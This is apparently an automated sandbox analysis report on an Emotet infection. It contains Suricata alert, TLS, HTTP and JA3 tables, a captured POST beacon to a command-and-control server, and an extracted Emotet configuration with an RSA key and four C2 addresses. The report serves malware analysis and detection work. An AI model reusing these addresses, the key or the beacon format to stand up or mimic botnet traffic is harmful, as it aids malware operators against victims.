POST /nfJJ28w1ZV995N2Tpu/ HTTP/1.1
Referer: http://144.139.91.187/nfJJ28w1ZV995N2Tpu/
Content-Type: multipart/form-data; boundary=---------------------------572620846238370
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322; InfoPath.3)
Host: 144.139.91.187
Content-Length: 4500
Connection: Keep-Alive
Cache-Control: no-cache

SMTP traffic

No SMTP traffic performed.

IRC traffic

No IRC requests performed.

ICMP traffic

No ICMP traffic performed.

CIF Results

No CIF Results

Suricata Alerts

Timestamp Source IP Source Port Destination IP Destination Port Protocol GID SID REV Signature Category Severity
2020-05-23 10:39:52.194 192.168.1.6 [VT] 49183 13.107.42.23 [VT] 443 TCP 1 2028395 2 ET JA3 Hash - Possible Malware - Various Eitest Unknown Traffic 3
2020-05-23 10:39:52.688 192.168.1.6 [VT] 49186 13.107.42.23 [VT] 443 TCP 1 2028395 2 ET JA3 Hash - Possible Malware - Various Eitest Unknown Traffic 3
2020-05-23 10:39:52.746 192.168.1.6 [VT] 49187 13.107.42.23 [VT] 443 TCP 1 2028395 2 ET JA3 Hash - Possible Malware - Various Eitest Unknown Traffic 3
2020-05-23 10:39:52.764 192.168.1.6 [VT] 49189 13.107.42.23 [VT] 443 TCP 1 2028395 2 ET JA3 Hash - Possible Malware - Various Eitest Unknown Traffic 3
2020-05-23 10:39:52.764 192.168.1.6 [VT] 49188 13.107.42.23 [VT] 443 TCP 1 2028395 2 ET JA3 Hash - Possible Malware - Various Eitest Unknown Traffic 3
2020-05-23 10:40:02.282 192.168.1.6 [VT] 49198 2.20.74.110 [VT] 443 TCP 1 2028388 2 ET JA3 Hash - Possible Malware - RigEK Unknown Traffic 3
2020-05-23 10:40:16.395 192.168.1.6 [VT] 49199 144.139.91.187 [VT] 80 TCP 1 2404303 5734 ET CNC Feodo Tracker Reported CnC Server group 4 A Network Trojan was detected 1
2020-05-23 10:40:18.496 192.168.1.6 [VT] 49199 144.139.91.187 [VT] 80 TCP 1 2029380 4 ET MALWARE Win32/Emotet CnC Activity (POST) M8 Malware Command and Control Activity Detected 1
2020-05-23 10:40:55.651 192.168.1.6 [VT] 49200 40.90.218.0 [VT] 443 TCP 1 2028388 2 ET JA3 Hash - Possible Malware - RigEK Unknown Traffic 3
2020-05-23 10:41:24.397 192.168.1.6 [VT] 49204 172.217.18.99 [VT] 443 TCP 1 2028395 2 ET JA3 Hash - Possible Malware - Various Eitest Unknown Traffic 3
2020-05-23 10:42:05.395 173.194.190.136 [VT] 80 192.168.1.6 [VT] 49207 TCP 1 2018959 4 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation 1
2020-05-23 10:42:05.395 173.194.190.136 [VT] 80 192.168.1.6 [VT] 49207 TCP 1 2014520 7 ET INFO EXE - Served Attached HTTP Misc activity 3
2020-05-23 10:43:09.298 173.194.190.136 [VT] 80 192.168.1.6 [VT] 49207 TCP 1 2015744 4 ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging) Misc activity 3

Suricata TLS

Timestamp Source IP Source Port Destination IP Destination Port Subject Issuer Fingerprint Version
2020-05-23 10:39:52.261 192.168.1.6 [VT] 49183 13.107.42.23 [VT] 443 CN=edge.skype.com 5c:3b:53:ee:b8:65:a3:2a:66:d4:04:36:67:98:af:88:8d:96:5d:74 TLS 1.2
2020-05-23 10:39:52.651 192.168.1.6 [VT] 49184 40.90.218.0 [VT] 443 CN=g.msn.com 84:07:33:ed:86:d5:52:e5:ff:20:cd:89:1e:0a:3c:00:7b:68:0d:17 TLS 1.2
2020-05-23 10:39:52.740 192.168.1.6 [VT] 49186 13.107.42.23 [VT] 443 CN=edge.skype.com 5c:3b:53:ee:b8:65:a3:2a:66:d4:04:36:67:98:af:88:8d:96:5d:74 TLS 1.2
2020-05-23 10:39:52.764 192.168.1.6 [VT] 49187 13.107.42.23 [VT] 443 CN=edge.skype.com 5c:3b:53:ee:b8:65:a3:2a:66:d4:04:36:67:98:af:88:8d:96:5d:74 TLS 1.2
2020-05-23 10:39:52.803 192.168.1.6 [VT] 49189 13.107.42.23 [VT] 443 CN=edge.skype.com 5c:3b:53:ee:b8:65:a3:2a:66:d4:04:36:67:98:af:88:8d:96:5d:74 TLS 1.2
2020-05-23 10:39:52.969 192.168.1.6 [VT] 49188 13.107.42.23 [VT] 443 CN=edge.skype.com 5c:3b:53:ee:b8:65:a3:2a:66:d4:04:36:67:98:af:88:8d:96:5d:74 TLS 1.2
2020-05-23 10:40:00.671 192.168.1.6 [VT] 49194 2.20.74.110 [VT] 443 C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=*.sfx.ms 43:5a:ab:ca:cc:ab:86:4d:56:81:18:e3:e5:17:05:9b:0e:32:8c:38 TLS 1.2
2020-05-23 10:40:02.303 192.168.1.6 [VT] 49198 2.20.74.110 [VT] 443 C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=*.sfx.ms 43:5a:ab:ca:cc:ab:86:4d:56:81:18:e3:e5:17:05:9b:0e:32:8c:38 TLSv1
2020-05-23 10:40:55.704 192.168.1.6 [VT] 49200 40.90.218.0 [VT] 443 CN=g.msn.com 84:07:33:ed:86:d5:52:e5:ff:20:cd:89:1e:0a:3c:00:7b:68:0d:17 TLSv1
2020-05-23 10:41:08.842 192.168.1.6 [VT] 49201 52.114.159.112 [VT] 443 CN=*.events.data.microsoft.com 1a:c2:39:ff:84:fe:1a:c9:81:f5:45:9a:d0:a0:f2:66:d1:8c:38:c9 TLS 1.2
2020-05-23 10:41:20.009 192.168.1.6 [VT] 49203 52.114.159.112 [VT] 443 CN=*.events.data.microsoft.com 1a:c2:39:ff:84:fe:1a:c9:81:f5:45:9a:d0:a0:f2:66:d1:8c:38:c9 TLS 1.2
2020-05-23 10:41:24.397 192.168.1.6 [VT] 49204 172.217.18.99 [VT] 443 C=US, ST=California, L=Mountain View, O=Google LLC, CN=upload.video.google.com 7b:83:a0:7a:6d:06:0a:26:7e:01:b9:1a:4d:1a:48:05:a3:7a:c1:1a TLS 1.2
2020-05-23 10:41:26.563 192.168.1.6 [VT] 49206 52.114.159.112 [VT] 443 CN=*.events.data.microsoft.com 1a:c2:39:ff:84:fe:1a:c9:81:f5:45:9a:d0:a0:f2:66:d1:8c:38:c9 TLS 1.2
2020-05-23 10:41:28.533 192.168.1.6 [VT] 49208 52.114.159.112 [VT] 443 CN=*.events.data.microsoft.com 1a:c2:39:ff:84:fe:1a:c9:81:f5:45:9a:d0:a0:f2:66:d1:8c:38:c9 TLS 1.2
2020-05-23 10:41:57.633 192.168.1.6 [VT] 49210 52.114.128.10 [VT] 443 CN=*.events.data.microsoft.com 1a:c2:39:ff:84:fe:1a:c9:81:f5:45:9a:d0:a0:f2:66:d1:8c:38:c9 TLS 1.2

Suricata HTTP

Timestamp Source IP Source Port Destination IP Destination Port Method Status Hostname URI Content Type User Agent Referrer Length
2020-05-23 10:39:55.641 192.168.1.6 [VT] 49190 8.249.33.254 [VT] 80 200 ctldl.windowsupdate.com [VT] /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?c05362e6e894290d application/vnd.ms-cab-compressed Microsoft-CryptoAPI/6.1 None 6894
2020-05-23 10:39:57.576 192.168.1.6 [VT] 49193 93.184.220.29 [VT] 80 200 ocsp.digicert.com [VT] /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D application/ocsp-response Microsoft-CryptoAPI/6.1 None 1507
2020-05-23 10:40:01.304 192.168.1.6 [VT] 49193 93.184.220.29 [VT] 80 200 ocsp.digicert.com [VT] /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAiIzVJfGSRETRSlgpHeuVI%3D application/ocsp-response Microsoft-CryptoAPI/6.1 None 1507
2020-05-23 10:40:18.496 192.168.1.6 [VT] 49199 144.139.91.187 [VT] 80 200 144.139.91.187 [VT] /zKxKJ0IxDY/hdXrbRtnZ0J5z/ckBJkDnLeFas1F/ text/html Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322; InfoPath.3) http://144.139.91.187/zKxKJ0IxDY/hdXrbRtnZ0J5z/ckBJkDnLeFas1F/ 132
2020-05-23 10:41:09.640 192.168.1.6 [VT] 49202 93.184.220.29 [VT] 80 200 ocsp.digicert.com [VT] /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D application/ocsp-response Microsoft-CryptoAPI/6.1 None 1507
2020-05-23 10:41:26.361 192.168.1.6 [VT] 49205 172.217.23.174 [VT] 80 302 redirector.gvt1.com [VT] /edgedl/release2/update2/AOVe98a3fi3oIA5CfTl3ibc_1.3.35.452/GoogleUpdateSetup.exe text/html Microsoft BITS/7.5 None 0
2020-05-23 10:41:27.113 192.168.1.6 [VT] 49207 173.194.190.136 [VT] 80 200 r3---sn-25glene6.gvt1.com [VT] /edgedl/release2/update2/AOVe98a3fi3oIA5CfTl3ibc_1.3.35.452/GoogleUpdateSetup.exe?cms_redirect=yes&mh=9Y&mip=51.178.193.79&mm=28&mn=sn-25glene6&ms=nvh&mt=1590230415&mv=m&mvi=2&pl=24&shardbypass=yes application/octet-stream Microsoft BITS/7.5 None 0
2020-05-23 10:41:42.988 192.168.1.6 [VT] 49209 144.139.91.187 [VT] 80 200 144.139.91.187 [VT] /nfJJ28w1ZV995N2Tpu/ text/html Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322; InfoPath.3) http://144.139.91.187/nfJJ28w1ZV995N2Tpu/ 132
2020-05-23 10:41:53.259 192.168.1.6 [VT] 49207 173.194.190.136 [VT] 80 206 r3---sn-25glene6.gvt1.com [VT] /edgedl/release2/update2/AOVe98a3fi3oIA5CfTl3ibc_1.3.35.452/GoogleUpdateSetup.exe?cms_redirect=yes&mh=9Y&mip=51.178.193.79&mm=28&mn=sn-25glene6&ms=nvh&mt=1590230415&mv=m&mvi=2&pl=24&shardbypass=yes application/octet-stream Microsoft BITS/7.5 None 6485
2020-05-23 10:41:58.357 192.168.1.6 [VT] 49211 93.184.220.29 [VT] 80 200 ocsp.digicert.com [VT] /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D application/ocsp-response Microsoft-CryptoAPI/6.1 None 1507
2020-05-23 10:42:05.913 192.168.1.6 [VT] 49207 173.194.190.136 [VT] 80 206 r3---sn-25glene6.gvt1.com [VT] /edgedl/release2/update2/AOVe98a3fi3oIA5CfTl3ibc_1.3.35.452/GoogleUpdateSetup.exe?cms_redirect=yes&mh=9Y&mip=51.178.193.79&mm=28&mn=sn-25glene6&ms=nvh&mt=1590230415&mv=m&mvi=2&pl=24&shardbypass=yes application/octet-stream Microsoft BITS/7.5 None 16949
2020-05-23 10:42:14.856 192.168.1.6 [VT] 49207 173.194.190.136 [VT] 80 206 r3---sn-25glene6.gvt1.com [VT] /edgedl/release2/update2/AOVe98a3fi3oIA5CfTl3ibc_1.3.35.452/GoogleUpdateSetup.exe?cms_redirect=yes&mh=9Y&mip=51.178.193.79&mm=28&mn=sn-25glene6&ms=nvh&mt=1590230415&mv=m&mvi=2&pl=24&shardbypass=yes application/octet-stream Microsoft BITS/7.5 None 20811
2020-05-23 10:43:01.052 192.168.1.6 [VT] 49207 173.194.190.136 [VT] 80 206 r3---sn-25glene6.gvt1.com [VT] /edgedl/release2/update2/AOVe98a3fi3oIA5CfTl3ibc_1.3.35.452/GoogleUpdateSetup.exe?cms_redirect=yes&mh=9Y&mip=51.178.193.79&mm=28&mn=sn-25glene6&ms=nvh&mt=1590230415&mv=m&mvi=2&pl=24&shardbypass=yes application/octet-stream Microsoft BITS/7.5 None 9886
2020-05-23 10:43:04.218 192.168.1.6 [VT] 49207 173.194.190.136 [VT] 80 206 r3---sn-25glene6.gvt1.com [VT] /edgedl/release2/update2/AOVe98a3fi3oIA5CfTl3ibc_1.3.35.452/GoogleUpdateSetup.exe?cms_redirect=yes&mh=9Y&mip=51.178.193.79&mm=28&mn=sn-25glene6&ms=nvh&mt=1590230415&mv=m&mvi=2&pl=24&shardbypass=yes application/octet-stream Microsoft BITS/7.5 None 12717
2020-05-23 10:43:06.921 192.168.1.6 [VT] 49207 173.194.190.136 [VT] 80 206 r3---sn-25glene6.gvt1.com [VT] /edgedl/release2/update2/AOVe98a3fi3oIA5CfTl3ibc_1.3.35.452/GoogleUpdateSetup.exe?cms_redirect=yes&mh=9Y&mip=51.178.193.79&mm=28&mn=sn-25glene6&ms=nvh&mt=1590230415&mv=m&mvi=2&pl=24&shardbypass=yes application/octet-stream Microsoft BITS/7.5 None 24359
2020-05-23 10:43:09.515 192.168.1.6 [VT] 49207 173.194.190.136 [VT] 80 206 r3---sn-25glene6.gvt1.com [VT] /edgedl/release2/update2/AOVe98a3fi3oIA5CfTl3ibc_1.3.35.452/GoogleUpdateSetup.exe?cms_redirect=yes&mh=9Y&mip=51.178.193.79&mm=28&mn=sn-25glene6&ms=nvh&mt=1590230415&mv=m&mvi=2&pl=24&shardbypass=yes application/octet-stream Microsoft BITS/7.5 None 55243
2020-05-23 10:43:11.933 192.168.1.6 [VT] 49207 173.194.190.136 [VT] 80 206 r3---sn-25glene6.gvt1.com [VT] /edgedl/release2/update2/AOVe98a3fi3oIA5CfTl3ibc_1.3.35.452/GoogleUpdateSetup.exe?cms_redirect=yes&mh=9Y&mip=51.178.193.79&mm=28&mn=sn-25glene6&ms=nvh&mt=1590230415&mv=m&mvi=2&pl=24&shardbypass=yes application/octet-stream Microsoft BITS/7.5 None 81825
2020-05-23 10:43:14.217 192.168.1.6 [VT] 49207 173.194.190.136 [VT] 80 206 r3---sn-25glene6.gvt1.com [VT] /edgedl/release2/update2/AOVe98a3fi3oIA5CfTl3ibc_1.3.35.452/GoogleUpdateSetup.exe?cms_redirect=yes&mh=9Y&mip=51.178.193.79&mm=28&mn=sn-25glene6&ms=nvh&mt=1590230415&mv=m&mvi=2&pl=24&shardbypass=yes application/octet-stream Microsoft BITS/7.5 None 132353
Sorry! No dropped Suricata Extracted files.

JA3

Source Source Port Destination Destination Port JA3 Hash JA3 Description
192.168.1.6 49183 13.107.42.23 443 1074895078955b2db60423ed2bf8ac23 unknown
192.168.1.6 49186 13.107.42.23 443 1074895078955b2db60423ed2bf8ac23 unknown
192.168.1.6 49187 13.107.42.23 443 1074895078955b2db60423ed2bf8ac23 unknown
192.168.1.6 49188 13.107.42.23 443 1074895078955b2db60423ed2bf8ac23 unknown
192.168.1.6 49189 13.107.42.23 443 1074895078955b2db60423ed2bf8ac23 unknown
192.168.1.6 49204 172.217.18.99 443 1074895078955b2db60423ed2bf8ac23 unknown
192.168.1.6 49194 2.20.74.110 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.1.6 49198 2.20.74.110 443 bafc6b01eae6f4350f5db6805ace208e unknown
192.168.1.6 49184 40.90.218.0 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.1.6 49200 40.90.218.0 443 bafc6b01eae6f4350f5db6805ace208e unknown
192.168.1.6 49210 52.114.128.10 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.1.6 49201 52.114.159.112 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.1.6 49203 52.114.159.112 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.1.6 49206 52.114.159.112 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.1.6 49208 52.114.159.112 443 d124ae14809abde3528a479fe01a12bd unknown
Sorry! No dropped files.
Type Emotet Config
RSA public key
-----BEGIN PUBLIC KEY----- MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAM/TXLLvX91I6dVMYe+T1PPO6mpcg7OJ cMl9o/g4nUhZOp8fAAmQl8XMXeGvDhZXTyX1AXf401iPFui0RB6glhl/7/djvi7j l32lAhyBANpKGty8xf3J5kGwwClnG/CXHQIDAQAB -----END PUBLIC KEY-----
address
144.139.91.187:80
51.38.134.203:8080
220.128.125.18:80
177.144.130.105:443